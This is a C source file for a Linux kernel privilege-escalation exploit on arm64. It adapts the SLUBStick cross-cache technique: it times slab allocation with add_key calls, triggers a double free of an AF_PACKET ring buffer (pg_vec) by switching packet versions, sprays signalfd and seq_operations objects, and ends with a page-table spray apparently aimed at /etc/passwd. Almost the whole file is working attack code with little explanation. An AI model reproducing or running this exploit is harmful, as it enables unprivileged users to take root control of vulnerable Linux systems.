/** * * THIS VERSION crashes if it fails (possibly due to inaccurate timing measurements, * since the example measurement primitive in SLUBStick was designed for amd64, not arm64). * --> Victim slab is polluted with other objects! * * This is the closest version to the one in the SLUBStick paper. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../include/exploit.h" #include "../include/util.h" #include "../include/signalfd_spray.h" #include "../include/pte_spray.h" static int cpu_partial_slabs = 8; static int objs_per_slab = 32; static int min_partial = 5; static int threshold = -10; static int slab_per_chunk = 8; static int slab_as_reclaimed_page_table = 1; int objects_fd[4096]; static inline uint64_t read_cntvct(void) { uint64_t val; asm volatile("mrs %0, cntvct_el0" : "=r"(val)); return val; } static inline uint64_t read_cntfrq(void) { uint64_t val; asm volatile("mrs %0, cntfrq_el0" : "=r"(val)); return val; } void alloc_obj(int i, sigset_t mask) { objects_fd[i] = signalfd(-1, &mask, 0); } void free_object(int i, int victim_fd) { int fd = objects_fd[i]; if (fd != victim_fd && fd != -1) close(fd); } int run_exploit() { int num_spray = objs_per_slab * (cpu_partial_slabs + 1); int fd_s, ret, victim_fd; uint32_t block_s = PAGE, frame_s = PAGE / 2; int *fds0, *fds_pre_alloc, *fds_post_alloc, *fds_post_alloc_seq; printf("\n\n[+] Starting explotation\n"); pin_cpu(0); // Allocating large memory region for future PTE spray // void *base = mmap_align(PGT_SRAY_SIZE); if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0) fprintf(stderr, "Error while creating socket: %d\n", fd_s); // PACKET_V3 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0) perror("Error while setsockopt, setting up packet version (V3)"); /* Allocate pg_vec - kmalloc-128 */ union tpacket_req_u treq = {}; treq.req3.tp_block_size = block_s; // 4096 treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar treq.req3.tp_frame_size = block_s; // 2048 treq.req3.tp_frame_nr = TARGET_SIZE / 8; treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* INTENTO DE SLUBSTICK (codigo adaptado de slubstick)*/ pin_cpu(0); int allocs = 4096*8; uint64_t t0, t1, delta; uint64_t prev_time = 0, time = 0, derived_time = 0; int start_indexes[slab_per_chunk]; const char *keyring; size_t running = 0; int start = -1; uint64_t freq = read_cntfrq(); // ticks por segundo /* create key value which causes the kernel to return with an error (fast) */ char *value; value = malloc(128); memset(value, 0x41, 128); value[0] = '.'; value[128 - 1] = 0; sigset_t mask; sigemptyset(&mask); sigaddset(&mask, SIGUSR1); for (int i = 0; i < allocs; i++) { if (running == 1 && i - start == (objs_per_slab - 4)) { printf("1st alloc\n"); // ALLOC PG_VEC if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution perror("Error while setsockopt, packet RX RING (V3), first pg alloc"); // 1st free: tp_block_nr to 0 memset(&treq, 0, sizeof(union tpacket_req_u)); if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() perror("Error while putting rx_owner_map to 0, freeing first pg alloc"); printf("1st free\n"); // alloc_obj(i, mask); } /* Allocation primitive */ sched_yield(); alloc_obj(i, mask); /* Measurement primitive */ t0 = read_cntvct(); ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING); ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING); ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING); t1 = read_cntvct(); if (ret >= 0) perror("add_key should be an error"); prev_time = time; delta = t1 - t0; time = (delta * 1000000000ULL) / freq; // printf("[%d]\tTime taken: %ld\n", i + 1, time); /* Grouping allocated objects*/ if (i > allocs / 16) { derived_time = time - prev_time; if (start == -1) { if (derived_time < threshold) { start = i; continue; } } else if (i - start == objs_per_slab) // first object of the slab { if (derived_time < threshold) { start_indexes[running] = start; running++; if (running == slab_per_chunk) break; start = i; } else { start = i; running = 0; } } if (running == slab_as_reclaimed_page_table && i - start == (objs_per_slab - 4)) { for (int z = 0; z < 5; z++) sched_yield(); printf("change packet v2 for second free\n"); // free vuln // Switch to TPACKET_V2 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0) perror("Error while setsockopt, setting packet version(V2) (for the second alloc) "); /* 2nd free: kmalloc-128 */ // memset(&treq, 0, sizeof(treq)); treq.req3.tp_block_size = block_s; treq.req3.tp_block_nr = 1; treq.req3.tp_frame_size = block_s; treq.req3.tp_frame_nr = 1; if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() { perror("setsockopt rx ring v2, second FREE"); fprintf(stderr, "Error while setsockopt RX RING (V2): %d\n", ret); } printf("\nsecond FREEING signal_ctx\n"); } } } if (running != slab_per_chunk) printf("\nstart not found\n"); for (size_t i = 0; i < slab_per_chunk; ++i) printf("start %ld\n", start_indexes[i]); // Trying to catch the freed signal_ctx (overlap with seq_operations) printf("\nSpraying seq_operations objects...\n"); fds_post_alloc_seq = spray_seq_operations(objs_per_slab + 1); // Encontrar fd de signal_ctx overlapeado victim_fd = leak_signal_fd_not_equal_sigmask(&objects_fd[start_indexes[1]], objs_per_slab + 1, SIGMASK_1st_SPRAY); if (victim_fd >= 0) { printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd); read_fdinfo(victim_fd); } else { printf("No se encontró ningún sigmask!=0000000000002000\n"); exit(1); } fcntl(victim_fd, F_SETFD, FD_CLOEXEC); // CROSS CACHE ATTACK: Free objects for (size_t i = 0; i < slab_per_chunk; ++i) { for (ssize_t j = 0; j < (ssize_t)objs_per_slab; ++j) { free_object(start_indexes[i] + j, victim_fd); } } pte_spray_passwd(victim_fd); // Spray PTE /* touch_user_ptes(base, PGT_SRAY_SIZE); read_fdinfo(victim_fd); read_fdinfo(victim_fd); */ sleep(2); printf("fiiiin"); free_user_ptes2(); // Libera la región mapeada de tablas de PTE. // free_user_ptes(base, PGT_SRAY_SIZE); }